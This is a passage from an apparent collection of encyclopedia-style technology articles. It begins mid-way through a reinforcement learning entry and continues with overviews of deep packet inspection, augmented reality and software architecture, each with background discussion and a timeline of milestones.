**multiagent RL**. In fact, one agent may work against another agent (such as in Markov games) thus making the environment non-stationary. \n\n**Hierarchical RL** considers hierarchies of policies. Top-level policies might focus on high-level goals while others offer finer control. \n\nWhere it's not easy to define the reward function, the agent can learn from examples without explicit rewards. This is called **apprenticeship or imitation learning**. Learning the reward function from examples is called **inverse RL**. \n\nLearning typically happens with atomic states. Instead, if we use structured representations, the approach is called **relational RL**. \n\n\n### In RL, should an agent learn via simulations or within a real environment?\n\nA real environment is better if it's difficult to model or it's constantly changing. Learning requires lots of samples and to do this in a real environment is time consuming. Simulations are faster than real time. Multiple simulations can be executed in parallel. A simulated environment is also safe. Simulations are useful to test rare events such as car crashes. But the simulated environment may not accurately model many aspects of the real environment. \n\nBalancing an inverted pendulum is a task that can be learned in a real environment because it's safe. Training a walking robot that has had no prior training may not be safe or effective in a real environment. It's better to train it in a simulated environment and then use a real environment for scenarios that simulations didn't cover. \n\nIn practice, it's common for an agent to gather real-world observations. These are used to update the current model. Agent then learns within a simulated environment based on the updated model.   \n\n\n### What are some challenges with or shortcomings of RL?\n\nRL has progressed in areas such as gaming and robotics where lots of simulated data is available. Translating these advances to practical applications is not trivial. RL demands much more **training data** than supervised ML. \n\nLearning from scratch with no priori knowledge, called *pure RL*, has been criticized because learning is too slow. RL shares with AI some **common problems**: algorithms are not predictable or explainable, can be trained for only a narrowly-defined task, don't generalize well unless trained on massive amounts of data. \n\nBasic **assumptions** may not hold good in real environments. The environment may not be fully observable. Even observed states can be inaccurate. Sometimes it not obvious or easy to figure out a suitable reward function, especially when there are multiple objectives. While the agent learns by mistakes, sometimes there's limited freedom to explore. For complex problems, it's not clear how to trade-off simulation complexity, training time and real-time performance constraints. \n\nMany approaches use discrete actions and states. In the real world, agents have to interact in a **continuous space**. Policy optimization becomes a lot harder. RL algorithms can get stuck in a local optima. \n\n## Milestones\n\n1927\n\nIn an English translation of Pavlov's work on conditioned reflexes, the term *reinforcement* is used for the first time in the context of animal learning. Pavlovian conditioning comes from the work of Ivan Pavlov in the 1890s. Pavlov discovered how dogs would salivate upon seeing food but also when given associated stimuli even without food. \n\n1948\n\nAlan Turing describes in a report the design of a *pleasure-pain system*. He notes that the computer makes and records a random choice when faced with incomplete data. Subsequently, \"When a pain stimulus occurs all tentative entries are cancelled, and when a pleasure stimulus occurs they are all made permanent.\" \n\n1950\n\nThis decade sees the development of **optimal control** whose aim is to design a controller that minimizes some measure of a dynamic system's behaviour over time. Richard Bellman develops the relevant theory including the Bellman Equation, dynamic programming and Markov Decision Process (MDP). In 1960, Ronald Howard devises the **policy iteration** method for MDPs. \n\n1959\n\nArthur Samuels, as part of his program to play checkers, implements a learning method based on **temporal-differences**. This relies on differences between successive estimates of the same quantity. It's inspired by animal learning psychology and the idea of secondary reinforcers. In 1972, Klopf brings together trial-and-error learning with temporal-difference learning. \n\n1961\n\nMinsky publishes a paper titled *Steps Toward Artificial Intelligence* that raises many issues relevant to reinforcement learning. He writes about the **credit assignment problem**, that is, how to credit success when a sequence of decisions have led to the final result. Through the 1960s, the terms \"reinforcement\" and \"reinforcement learning\" are increasingly used in literature. At the same time, some researchers working on pattern recognition and perceptual learning (these really belong to supervised ML) confuse these with RL. \n\n1968\n\nImproving on their work in early 1960s, Michie and Chambers train an RL algorithm to play tic-tac-toe and another to balance a pole on a movable cart. The **pole-balancing task** was learned with incomplete knowledge of the environment. This work influences later research in the field. In 1974, Michie notes that trial-and-error learning is an essential aspect of AI. \n\n1989\n\nChris Watkins integrates the separate threads of dynamic programming and online learning. He formalizes reinforcement learning with MDP, subsequently adopted by other researchers. He proposes **Q-Learning**, a model-free method. The work of Watkins was preceded by Paul Werbos in 1977, who saw how dynamic programming could be related to learning methods. \n\n1990\n\nSutton proposes **Dyna**, a class of architectures that integrate reinforcement learning and execution-time planning. The system can alternate between real world and a learned model of the world. Using simulated experiences (planning steps) in the world model, the optimal path is discovered faster. He applies Dyna to both policy iteration and Q-Learning. \n\n1992\n\nGerry Tesauro develops **TD-Gammon** that can compete with human experts in the game of backgammon. TD-Gammon learned from self-play alone without human intervention. It's only rewards came at the end of each game. The evaluation function is a fully connected neural network with one hidden layer of 40 nodes. Previously, Tesauro attempted to train a neural network in a supervised manner with experts assigning relative values to moves. This approach was tedious and the program failed against human players. \n\nMar  \n2016\n\nDeveloped by DeepMind Technologies, **AlphaGo** beats Lee Sedol, a human champion in the game of Go. AlphaGo was trained using RL from games involving human and computer play. The architecture is model-based learning using Monte Carlo Tree Search (MCTS) and model-free learning using neural networks. In 2017, AlphaZero Go is released and it beats AlphaGo by 100-0. Also in 2017, AlphaZero is released as a generalization of AlphaZero Go. AlphaZero can play chess, shogi and Go.","meta":{"title":"Reinforcement Learning","href":"reinforcement-learning"}}
{"text":"# Deep Packet Inspection\n\n## Summary\n\n\nTraditionally, control and regulation of Internet traffic has been managed by a firewall in the router device. However, routers can only scan the header of an IP packet which contains source, destination addresses and some next-hop routing information. \n\nDeep Packet Inspection is a technology that allows a service provider to analyse network traffic in real time using the payload (IP packet content), not merely the IP header. Packets are inspected based on rules assigned by an enterprise, government or internet service provider. Only packets which clear the inspection can enter the network. Even encrypted data can be analysed. \n\nDPI can effectively monitor, speed up, slow down, block, filter, make decisions about the traffic. Mobile and broadband service providers widely employ DPI analysers in their networks. However, unless used judiciously, DPI can also result in invasion of data privacy and other internet governance issues.\n\n## Discussion\n\n### Why do we need Deep Packet Inspection?\n\nDPI was initially intended to manage and safeguard Local Area Network users (such as universities, corporates) from malicious software or viruses. The idea was to intercept the malicious packets in real time, at a checkpoint before they reached end users. This was usually performed as a firewall feature. \n\nDPI (also called Packet analysis) can be used both in Intrusion Detection Systems (IDS) and Intrusion Prevention Systems (IPS). In organizations which have remote users who connect using their laptops for work, DPI is vital in preventing worms, spyware, and viruses from getting into the corporate network. \n\nDPI protects networks from spam, viruses, DDoS (Distributed Denial Of Service) attacks and harmful/illegal content. It also supports regulatory requirements for lawful intercept; and for parental or enterprise content control systems. \n\nDPI allows governments and organizations to define their own rules and policies, so that the network can detect if there are prohibited uses of applications.\n\nAnother intended use is for network management such as ensuring a basic quality of service (QoS) for end-users and preventing network congestion due to trivial/spam content.\n\n\n### How does DPI work and what are its techniques?\n\nTraditional packet analysis tools only scanned packets at the IP and TCP layers, whereas DPI functions at the Application layer of the OSI reference model.\n\nThere are two different approaches to packet analysis - (1) Continual, full-scale traffic packet capture that requires high speed processing and large storage arrays, which is expensive. (2) On-demand packet capture only when system compatibility issues occur (missing / damaged packets). \n\nDPI is actually a combination of several techniques:\n\n    + **Flow Tracking**: Determines which packets are part of a flow between the source and destination computers. It's based on a 5-tuple identifier `(SRC-IP, DEST-IP, SRC-PORT, DEST-PORT, PROTOCOL)`.\n    + **Pattern Matching**: String patterns (several, not just one) coded as regular expressions are matched with incoming packets. For example, regardless of port, L7-filter classifier for Linux's Netfilter can classify packets as HTTP, Jabber, Citrix, Bittorrent, FTP, etc.\n    + **Statistical Analysis**: Indicators (mean, variance) on absolute / relative packet sizes, flow rate per application.For network traffic monitoring, analytics from Gartner estimate that flow analysis should be done 80% of the time, and packet capture with probes should be done 20% of the time. \n\n\n### What's the architecture of DPI deployment in a network?\n\nDPI engines are usually deployed inline with firewalls in routers, SDN, and packet gateways. Offline packet analysis can also be performed for non-critical analysis.\n\nDPI is a standard option in 4G LTE and 5G packet gateways (P-GWs). For instance, the backbone network of an ISP could be a 40-Gb/s system with four 10-Gb/s DPI modules. \n\nIn the dynamic service environment implied by cloud/SDN, DPI could potentially be co-located with network devices (as software running in virtual switches) or in the control layer (in the controller between applications and switches) due to its high CPU resource requirement. Real-time analytics using DPI is fed into big data analytics packages. This helps service providers understand what end users are doing and shape service offerings accordingly. \n\nNetwork performances are proved by practical tests executed using real traffic in an ISP backbone network. DPI devices are designed to handle thousands of transactions each second. These devices analyse less than 1500 bytes per packet, which is not a very heavy load. But if this happens in real time for every packet, there is network delay overhead. \n\n\n### What are the various other applications where DPI is used?\n\n \n\n    + **Content Optimization**: DPI can act as proxy and modify contents in order to reduce still/video image quality or reformat web pages for mobile devices as per available bandwidth/device constraints so that users can enjoy content with reasonable performance.\n    + **Billing Applications**: ISP use DPI to measure traffic volume and calibrate free and paid usages of network subscribers.\n    + **Load Balancing**: Redistribution of packet content to alternate servers in a load-balanced network to maintain uniform load across all deployed systems.\n    + **User Behavior Analysis**: Web/mobile applications can gauge subscriber behavior, assess what features are popular or which operations take too long, etc.\n    + **Targeted Advertising**: ISPs can inject advertisements into websites that match the assumed interests of the users according to their browsing habits.\n    + **Copyright Enforcement**: Automatically detect and block unauthorized sharing of music or video files on peer-to-peer platforms.\n    + **Content Regulation**: Recognize and block access to illegal/harmful content such as child-abuse websites. Censor content considered a threat to government or public stability.\n\n### If DPI analyses content in real time, will it not slow down the network data transmission?\n\nMany current DPI methods are resource intensive and costly, especially for high bandwidth applications. Since it's done in real time, it doesn't work on normal processors or switches.\n\nDPI has become possible only in the last few years through advances in computer engineering and pattern matching algorithms. Specialized routers are now able to perform DPI. Routers armed with a dictionary of programs help identify the purposes behind the LAN and internet traffic they are routing. Vulnerability from repeat attacks from known viruses is removed. However, new viruses still pose a threat. \n\nInteraction with legacy tools could also be a problem. Some firewalls simply aren't designed to support DPI, prompting worry about sudden performance drops or total failure of protective network systems. \n\nIn spite of these overheads, DPI is widely prevalent in network deployments because of the protection it offers from malicious or wasteful bandwidth usage by spams, viruses and malware. By successfully blocking such spurious input requests from untrustworthy clients, the DPI servers are able to save the network from unnecessary congestion and possible DDoS attacks. \n\n\n### What are the negative consequences of DPI and how can misuse be prevented?\n\nDPI is basically a packet sniffing technology on the network traffic, enabling operators to monitor what is happening in real time. It was meant to be used for benevolent causes such as managing bandwidth, lawful surveillance, copyright enforcement, and network security.\n\nHowever, DPI may be controversial from a customer privacy and net-neutrality standpoint. ISPs often use DPI servers to inspect Internet traffic to identify what traffic they want to slow down or restrict. At its root, DPI helps operators regain control over a network that primarily carries third-party applications and services by accurately identifying those applications in real time. \n\nPrivacy infringement, corporate snooping, governmental suppression of facts and news, and advertisement implantation are some of the negative consequences of DPI. If an ISP sells streaming music, then OTT music applications are its competitors. ISPs can intentionally ignore/cause congestion or degrade performance of the competing service. \n\nOne way to bypass DPI is to use **traffic obfuscators** as standalone software. These can change traffic signatures to look like traffic that isn't normally blocked by DPI. \n\n\n### What are the common tools used for packet analysis in DPI?\n\nGovernments of certain countries use proprietary and sophisticated DPI tools for online information censoring. *The Great FireWall of China* is one such example. They are implemented using a combination of flow analysers, filtering of certain IP ranges, flow redirection, URL filtering and Man-in-the-Middle techniques. \n\nntop, Netify Agent and libtins are open source utilities or toolkits in C/C++.\n\nCorporates and Internet Service Providers may choose among the commonly available DPI tools:\n\n    + **Wireshark**: A popular free and open-source packet analyser which can be configured to be used for Intrusion Detection (ID). The `tshark` utility allows you to filter the contents of a `pcap` file from the command line to study network activity.\n    + **Netfilter in Linux**: Classifies packets as HTTP, Jabber, Citrix, Bittorrent, FTP, etc., regardless of port.\n    + **Netflow from Cisco**: Introduced on their routers to collect IP network traffic information as traffic enters/exits an interface and build Access Control Lists. It consists of a flow collector and analyser.\n    + **SolarWinds Netflow**: Network bandwidth monitoring (collection and analysis) tool. Free and paid versions available.\n    + **Scrutinizer from Plixer**: Can handle network flow analysis of Cisco and other vendors' network devices.\n\n\n## Milestones\n\n1998\n\n*Wireshark*, earlier part of the *Ethereal* project, is released as a free, open source packet sniffing tool. It initially supports **shallow packet inspection**, only at the IP header level. \n\n2002\n\nTraffic inspection solutions *NetScreen* (acquired by Juniper networks) are designed to be installed into firewall systems. Since the operation is expensive, it is triggered only on need basis. \n\n2005\n\nMIMESweeper, ClamAV, NetCache are some of the early open source internet proxy caching servers introduced for scanning content to an ICAP server running an anti-virus software. \n\n2006\n\n*The Great Firewall of China* is deployed successfully. This internet censorship project commenced in 1998 for online traffic regulation in China. \n\n2012\n\nDPI becomes a powerful **network security tool** with deployment on SDN/cloud servers. \n\n2012\n\nDPI analysis tools feed network traffic data into **Big Data Analytics** for ISPs to derive critical insights on user behavior.","meta":{"title":"Deep Packet Inspection","href":"deep-packet-inspection"}}
{"text":"# Augmented Reality\n\n## Summary\n\n\nWith the coming of the social web, mobile web and Big Data, information has become plenty and easily accessible. As late as the mid-2010s, much of this information remained within the digital world of servers, computers and smartphones. Augmented Reality (AR) attempts to remedy this by bringing digital information into the real world. In essence, AR re-imagines human-computer interaction. \n\nAugmented Reality is a term that requires our presence and interaction in the real world. At the same time, our experience of the real world is augmented by adding virtual elements created by computers. These virtual elements are typically visuals and sounds. The idea is to give us extra information to do things more efficiently and enjoyably.\n\n## Discussion\n\n### What's the definition of Augmented Reality?\n\nOne possible definition of AR has three characteristics: it combines real and virtual; it's interactive in real time; and it's registered in 3D. This definition is regardless of the display hardware. It applies equally well to visuals that are optical see-throughs or rendered on monitors. A movie such as Jurassic Park is not AR since it's not interactive for viewers. \n\nSince this definition requires 3D integration into a real environment, 2D overlays on live video are also excluded from AR. Some writers consider this as AR as well, calling it *TV AR*. Augmenting live video with digital information for a sports game or a weather report would be considered TV AR. \n\nOthers define AR in terms of the interfaces/hardware used. But conceptually, the definition is still includes merging the real and the virtual while retaining presence and interaction with the real world. \n\n\n### How is AR different from VR and MR?\n\nThe acronyms AR, VR and MR refer to Augmented Reality, Virtual Reality and Mixed Reality.\n\nWhile AR experiences are rooted in the real world, VR experiences are rooted in the virtual world. In VR, the user is immersed in a synthetic world created by computer graphics. Such a virtual world may be inspired by the real world but it's also free to break the laws of physics that govern real-world interactions. \n\nAR and VR can also be differentiated by user presence. A person sitting in New York, visualizing the Eiffel Tower in Paris surrounds himself in VR, a world that represents the Tower and its surroundings. VR enables him to experience the Tower without going to Paris. A tourist who is already near the Tower, could use an AR app to get directions. When he is at the Tower, the AR app could display or read out relevant information while the user points his camera at the Tower. \n\nMR is an environment where users can interact with both real and virtual objects. \n\n\n### What are some possible applications of AR?\n\nEarly ideas for AR were mostly in the industrial space rather than the consumer space: medical, engineering, military, robotics, etc. Due to smartphone adoption, AR in the consumer segment is gaining interest with education, gaming and advertising showing good potential. \n\nIn education, live 3D models can help medical students visualize veins in patients. Pokémon Go and Real Strike are example AR games. GPS-based AR apps can help walkers or drivers navigate. AR can add value in the treatment of Post-Traumatic Stress Disorder. In real estate, AR can help you visualize your living room for its interior decor. \n\nAdvertisers can give more information about a product via an interactive AR app, such as the BMW mini ad of 2008. A shopper can try out a dress or a makeup in AR before the actual purchase. AR can be used to create public awareness such as the WWF-Coca-Cola Arctic Home Campaign of 2013. Tourist spots or operators can offer self-guided AR-enabled tours. Actors can prepare for their roles in front of AR mirrors. \n\n\n### What are the different types of AR?\n\nAR can be categorized based on the technique used:\n\n    + **Marker-based AR**: This involves a camera and image/pattern recognition. Markers in the real world are recognized. They are then overlaid with virtual objects or information. This is also called **Recognition-based AR**.\n    + **Location-based AR**: The use of GPS plus sensor data (in smartphones) enables apps that are location-centric such as finding relevant shops nearby or showing directions. Information is overlaid based on present location. This is also called **Markerless AR**.\n    + **Projection-based AR**: This works by projecting light onto real-world surfaces. Your empty desk can have a virtual keyboard. Your palm can be lit up with a phone dialler. User interactions are detected based on changes in the projected light. This type of AR includes 3D interactive holograms.\n    + **Superimposition-based AR**: Using object recognition, real-world objects are replaced or augmented with digital equivalents. Virtual objects are thus superimposed on the real world.\n    + **Outlining AR**: Using object recognition, relevant features are outlined virtually. This may be seen as a specialization of superimposition-based AR.It's possible to combine many of these within a single app. \n\n\n### I've heard of SLAM. What is it?\n\n**Simultaneous Localization And Mapping (SLAM)** is a well-known problem in mobile robotics. A robot in an unknown environment has the twin tasks of mapping its surroundings while also determining its own location within the map. \n\nSLAM is being increasingly used in AR and is seen as a successor to marker-based AR. The good thing is SLAM doesn't need a marker. Multiple cameras with depth sensing technology are used in SLAM to create a map of the surroundings. Unlike marker-based AR, SLAM lacks context. GPS can be used to give context. For indoor navigation apps, SLAM maps (databases) can be used to create context. The idea is to obtain context with nothing more than visual input. \n\nSolutions to the SLAM problem can be combined with other techniques in AR to effectively combine real and virtual worlds. Apple's ARKit uses SLAM and so does Google's Project Tango. The latter's effort is also towards building context. \n\n\n### Isn't a QR Code the same thing as AR?\n\nA Quick Response (QR) code is basically a 2D barcode that's machine readable. Once scanned, say with a smartphone, it can give more information about the item to which it's attached. A marker-based AR can do this and more. QR codes have to conform to a specific layout while in AR the marker can be any object or pattern. \n\nQR codes were invented in the 1990s when image recognition had to be simple and fast. In comparison, AR requires more processing but it's also more flexible because any object can be a marker. Moreover, contextual information can be shown at different parts of the same object. There's no need to reduce the object to a code like in QR code. Finally, using AR apps, tracking and analytics can be applied. This is rarely done with QR codes. \n\nWith QR codes, information is typically displayed by redirecting the user to a video, URL, registration form, etc. With AR, information is overlaid on top of real-world objects. Immersion of 3D objects in the real world is possible in AR but not so with QR codes. This is a fundamental difference. \n\n\n### What are the components of an AR system?\n\nAn AR system can be said to contain the following components: \n\n    + **Tracking**: Via sensors and camera, the system tracks the user's viewpoint.\n    + **Registration**: Virtual objects must be spatially registered or anchored in the real world.\n    + **Visualization**: Based on current location and viewpoint, the visualization of virtual objects has to be adjusted.\n    + **Spatial Model**: This consists of both the real world and the virtual world. Both must be registered in the same coordinate system.\n\n### Could you mention the technical foundations of AR?\n\nFor AR to work, virtual objects must be placed accurately in the real world. We can identify the following essentials:\n\n    + **Visual Keypoint Matching**: Also referred to as *Marker Detection*, this requires image processing, feature extraction and marker detection. The marker's surface is determined so that virtual objects can be placed on the surface.\n    + **Spatial Mapping**: The idea is to map the real world to a virtual model. Depth sensing is involved. The virtual model can be used to detect surfaces (walls, floors, tabletops). When virtual objects are placed, occlusion becomes important.\n    + **Sensing**: Viewer becomes the anchor of the virtual space and content. Viewpoints are adjusted based on inputs coming from sensors: GPS, accelerometer, gyroscope, etc. Since sensing accuracy may be limited, this can be combined with visual tracking.\n\n### What sort of hardware is needed to realize AR?\n\nAR typically requires some sort of a display; camera and other sensors to enable detection and interaction; computer processing to blend the real and the virtual. Smartphones have all of these, thus lowering the cost of adoption for end users. Today, AR can be delivered as smartphone apps and easily reach a worldwide audience. Wearables including head-mounted display (HMD) or eyeglasses such as Google Glass are AR-specific hardware. HMDs can be see-through or screen based.\n\nTo bridge real and virtual worlds, cameras and sensors are used. This information is processed to create a virtual model of the real world. For projection-based AR, miniature projectors are needed and these may be part of a headset wearable. \n\nA typical AR wearable would need sufficient processing power and memory, wireless connectivity and GPS. Sensors may include accelerometer, gyroscope and magnetometer to detect movements and thereby adjust the views of virtual objects. Some devices use mirrors to assist in aligning images to the viewer's eye. \n\nExplicit user control of AR could be via a touchpad or voice commands. \n\n## Milestones\n\n1965\n\nIvan Sutherland, often called \"Father of Computer Graphics\", publishes an essay titled \"The Ultimate Display\". Here he describes ideas that are today part of AR/VR systems. \n\n1968\n\nIvan Sutherland creates an optical see-through head-mounted display (HMD). The system uses computer-generated graphics. Sutherland calls it the *The Sword of Damocles*.\n\n1990\n\nThe term **Augmented Reality** is coined by Boeing researcher Tom Caudell. The idea was display schematics of wire bundle assembly on a see-through HMD to assist workers in an airplane factory. By 1994, the term is increasingly used in literature. \n\n1992\n\nLouis Rosenberg develops an AR system called *Virtual Fixtures* at the U.S. Air Force Research Laboratory (AFRL). Because 3D graphics in the early 1990s were too slow for realistic experiences, Virtual Fixtures employed physical robots controlled by an exoskeleton worn by the user. \n\n1994\n\nResearchers Milgram and Kishino attempt to create a taxonomy for **Mixed Reality (MR)**. They see AR as a subset of MR. AR consists of real environment augmented with virtual objects. They also define **Augmented Virtuality (AV)** as a virtual environment to which real objects are added. \n\n1999\n\nHirokazu Kato creates *ARToolkit*. It's open source. It overlays computer graphics on real video. In 2009, this is ported to Adobe Flash, thus bringing AR to the web. \n\n2003\n\nUsing ARToolkit, researchers at the Vienna University of Technology create an AR system with a Personal Digital Assistant (PDA). This system includes on-device real-time tracking that can at times be offloaded to the network via a wireless connection. \n\n2013\n\nVolkswagen *MARTA (Mobile Augmented Reality Technical Assistance)* app provides technicians assistance on a repair process. \n\nMay  \n2014\n\nGoogle releases **Google Glass** to the public after about a year of beta testing. It's a head-mounted display designed as eyeglasses. It features Bluetooth connectivity to the Internet via user's smartphone, voice control, touchpad, camera and display. \n\n2015\n\nMicrosoft announces **HoloLens** in January. A live demo of the same is done in April. \n\nJul  \n2016\n\nNiantic releases a location-based smartphone AR app named *Pokémon Go*. It quickly becomes one of the most popular games, breaking multiple records (downloads and revenue). The game involves players visiting real-world locations to capture virtual creatures. \n\nSep  \n2017\n\nApple shows off capabilities of its **ARKit** along with its AR-capable iPhone 8 and iPhone X. Just two weeks earlier, Google launched its **ARCore**.","meta":{"title":"Augmented Reality","href":"augmented-reality"}}
{"text":"# Software Architecture\n\n## Summary\n\n\nAll good software has some structure to it. It's composed of components, each with well-defined functionality. It has interfaces, both internal (among components) and external (to its environment). Software architecture is about defining these aspects. It focuses on abstractions and hides implementation details.  More importantly, architecture is about capturing decisions, not just describing structures. \n\nSoftware architects take system requirements as inputs and produce various artefacts that describe the architecture. Both functional and non-functional requirements are considered. Architects make choices about architectural patterns, platforms, programming languages, databases, third-party libraries, tools, and more.\n\n## Discussion\n\n### How does software architecture differ from software design?\n\nArchitecture is about high-level abstractions whereas design is about low-level implementation details. Architecture helps us understand the system and how it's supposed to interact with its environment. It involves multiple stakeholders, presents an overall vision that meets quality attributes, and makes a clear separation of concerns. Software architects make choices and give reasons why those choices were made. Typically these choices are made early on in the project and are costly to change thereafter.  \n\nIn contrast, software design concerns itself with class methods/properties, data structures, algorithms, actual code, business logic, etc. Certain design methods play well with certain architectural styles. \n\nIt's not easy to define what's high-level or important. They're very much contextual. Whatever these are, a good architect identifies them early on. Architecture is about reducing irreversibility: an architect defines what parts are fixed, what parts can be changed and attempts to minimize the former. Architecture is really a shared understanding of the system design.  \n\nIt's been said that \"architecture is design but not all design is architectural\". Dashofy defined, \n\n> A software system's architecture is the set of principal design decisions made about the system.\n\n\n### Could you give examples of software architecture?\n\nFor a web application, an architect may define the main components: frontend, backend, storage, notifications, etc. She may decide to use Java, MySQL and Hibernate ORM. She may adopt the MVC pattern, or server-side rendering over client-side rendering. She may identify high-level components such as authentication, load balancer and CDN. She may even prescribe Eclipse IDE along with plugins Checkstyle, SonarLint and TestNG.\n\nFor an application server, we may use Java-EE. Functionality is spread across access layer, application processes layer and domain objects layer. Java-EE thus uses layered architecture. An alternative is the service-oriented architecture (SOA). This consists of a service bus to which producers and consumers connect via adapters. While Java-EE focuses on scalability and reliability, SOA focuses on integrability and modifiability. \n\nWhile there are API architects, in some projects the solution architect mandates an API gateway and developers detail the APIs. In a team of inexperienced developers, the architect may take on more design-specific tasks. \n\n\n### What are the key benefits of software architecture?\n\nCreating a good architecture leads to right trade-offs, meeting requirements, reducing risks, and timely deliverables. Skipping architecture may save time towards short-term success. In the long term, rework and delays are quite likely. Poor architecture leads to technical debt, more defects and software that's harder to evolve. \n\nWe often pay more for higher quality products. However, architecture doesn't exercise this quality-cost trade-off. Investing in architecture pays off within a few weeks. Without a proper architecture, we end up paying more later. Software that works as expected has external quality. Architecture is really **internal quality** that project teams should care about. \n\nArchitecture helps maintain conceptual integrity of the system as it evolves. An architectural model is a living record of original decisions. As new features are added, such a model mitigates architectural drift. Architecture aids knowledge reuse and avoids \"reinventing the wheel\". \n\nArchitecture can help modernize legacy systems such as migrating to the cloud or integrating AI/ML capabilities. Existing technical debt can be addressed or managed. \n\n\n### What are some patterns and frameworks in software architecture?\n\nFor common problems, there's no need to solve them from scratch. Architectural patterns can be adopted: client-server, peer-to-peer, event-driven, layered (n-tiered), space-based, service-oriented, microservices, serverless, cloud-native, microkernel, and many more. \n\nFord and Richards have analysed and compared some of these patterns with respect to quality attributes. They published these as Architecture Styles Worksheet. For example, a microservices architecture rate higher on agility and fault-tolerance compared to layered architecture. But layered architecture is simpler and cheaper. \n\nFrameworks bridge concepts to coding blocks. As part of ISO/IEC/IEEE 42010:2011 work, ISO has been collating various architecture frameworks. There are frameworks for IoT, Big Data, security, management systems, communication systems, for the automotive industry, smart grids, and more. Indeed, **domain-specific reference architectures** are used in many industries. These lead to reusing architectures across products of a product line or family.  \n\n\n### What artefacts does a software architect produce?\n\n**Architecture model** is an essential artefact. It captures some or all of the architectural decisions. It's a tangible record of the architecture. Modelling could be informal (slides, diagrams), semi-formal (UML diagrams) or formal. Architecture Description Languages (ADLs) can be used for formal modelling. An ADL is a set of notations, languages, standards, and conventions. It can lead to formal analysis, evaluation, reuse, and automated code generation.  \n\nSoftware systems can be viewed from different perspectives. Such views are complementary. An architect need to produce many of these views or diagrams: data flows, control flows, state transitions, entity relations, object-oriented hierarchies, data models, message sequences, and more. Another way to classify these views is logical, process, physical and development. \n\n\n### What processes are applicable for software architecture?\n\nSoftware architecture is part of the overall discipline of software engineering. Architects need to interact with multiple stakeholders. They need to be clear about product requirements. Non-functional requirements include reliability, usability, efficiency, scalability, maintainability, and more. They should factor in additional constraints such as legal, regulations, costs, time-to-market and talent availability. \n\nAdopting a programming framework or developer tools such as Springboot or Cocoa implicitly selects an architecture. While developers can focus on design decisions, they need to be aware of the architectures they've adopted. Moreover, an architect needs to address runtime requirements including CI/CD, deployment, scalability and observability. \n\nArchitects deal with architectural models, description languages, analysis techniques, development environments, canonical solutions, and design processes. Architecture establishes the constraints within which application components need to be developed. \n\nStatic analysis of source code can be used to recover or reverse engineer the architecture of legacy systems. Such analysis can also identify deviations between architecture and implementation.  \n\nIt's foreseen that AI-enabled tools will automate architectural tasks. Decisions will become more data driven. Automated code generation and testing may help to quickly validate and refine architectures. \n\n\n### What are some pitfalls in software architecture?\n\nWorking without properly defining quality attributes leads to poor architecture. Asking vendors to create architectures or adopting architectures from another organization are just as bad: architecture needs context and tradeoffs depend on the context. Waiting for the perfect architecture before starting implementation is another pitfall. \n\nEven the best architecture can be ineffective if not properly communicated. Automated documentation, graphical views and change simulation are some tools that can help. Architects should communicate to upper management in a language they understand. Indeed, organizational structure should evolve to keep up with technological evolution. DevOps and CI/CD are useless if management takes weeks to approve a change. \n\nArchitects shouldn't work in isolation. They should collaborate with everyone, looking out for problem areas before they become serious, giving their inputs, explaining the architecture, and mentoring individuals. These interactions create effective feedback loops towards architecture that's fit for purpose. \n\nModelling tools are often inadequate when mapping the code to the model. Architects and their tools ignore software architecture evolution.  These limitations can result in drift between architecture and implementation.  Architecting should be continuous and an iterative process. \n\n\n### How can a developer move into the role of an architect?\n\nDevelopers should move from their narrow focus of specific components or sub-systems. As architects, they should learn to look at the big picture and obtain a holistic view of the entire system. They should resist the urge to write code. A developer may focus on only coding but an architect has to look at requirements, coding, testing, deployments, evolution, and more. \n\nAn architect should be able to take important decisions given the constraints and quality attributes. Because architects interface with many stakeholders, they need leadership qualities.  \n\nArchitects straddle both technical, business and interpersonal concerns. A solid technical background is essential for many tasks: spotting trends, planning, assessing risks, and critical thinking. An architect should have empathy and see things from a developer's perspective. This helps when reviewing and mentoring. Overall, an architect who's been a developer for many years and interacted with customers will do well. \n\nIt's been said that software architect is not an independent role. Architecting should be regarded as a skill that developers and agile teams should practice. Architecting should be connected to developing. \n\n\n### What resources can help learn software architecture?\n\nTwo books published by SEI are *Software Architecture in Practice* and *Designing Software Architectures*. To learn about architectural patterns, see *Pattern-Oriented Software Architecture* by Buschmann et al. (1996). Richards has curated a list of books on software architecture. \n\nThe SEI offers online courses on software architecture. There are also courses on Udemy and Coursera.\n\nNew architects can look at some templates of software architecture documents: Course Registration System and Co-op Evaluation System.\n\nWe may need to evaluate software architectures given a set of quality attributes. Some methods exist: Active Design Reviews, Software Architecture Analysis Method (SAAM), and Architecture Tradeoff Analysis Method (ATAM).  \n\n## Milestones\n\n1980\n\nFrom the mid-1980s, practitioners of Software Engineering address architectural concerns to manage the complexity of large projects. They use box-and-line diagram as a tool. The decade ends with a DARPA workshop on the topic of Domain-Specific Software Architectures (DSSAs). \n\n1990\n\nDuring this decade, architectural patterns, architecture description languages (ADLs), documentation, architecture recovery, tools, and formal methods are studied.  Design patterns and architectural styles aid teams with knowledge reuse. \n\n1992\n\nPerry and Wolf publish a paper titled *Foundations for the study of software architecture*. This is perhaps the earliest use of the term \"software architecture\" in literature. \n\n1994\n\nGarlan and Shaw of Carnegie Mellon University publish a paper titled *An Introduction to Software Architecture*. This includes a few architectural styles: pipes and filters, data abstraction and object-oriented organization, event-based, layered systems. In one case study, they propose and compare different styles. In 1996, they publish the book *Software Architecture: Perspectives on an Emerging Discipline*. This book brings together most ideas of the time. \n\n1995\n\nThe IEEE Software Engineering Standards Committee charters the **IEEE Architecture Planning Group (APG)**. It's objective is \"to set the direction for the next generation of architecture-related standards and practices for the IEEE.\" Their work eventually results in the publication of IEEE 1471 Standard in 2000. Also in 1995, Taylor et al. publish *Software development using domain-specific software architectures*. \n\nNov  \n1995\n\nKruchten proposes the **\"4+1\" View Model**. The idea is that multiple views are necessary to address the concerns of different stakeholders. The four views are logical (object-oriented), process (synchronization, concurrency), physical (software-hardware mapping, distributed), and development (software organization) \n\nSep  \n2000\n\n**IEEE 1471** titled *Recommended Practice for Architecture Description of Software-Intensive Systems* is approved as a standard. Traditionally, architects considered only hardware issues. This standard addresses this short-sightedness. In August 2001, ANSI makes this an American National Standard. In 2007, this is adopted by ISO/IEC as **ISO/IEC 42010:2007**. \n\nNov  \n2011\n\n**ISO/IEC/IEEE 42010:2011** titled *Systems and software engineering — Architecture description* is published as an international standard. It's an evolution of IEEE 1471. This harmonizes ISO/IEC 42010, ISO/IEC 12207 and ISO/IEC 15288.","meta":{"title":"Software Architecture","href":"software-architecture"}}
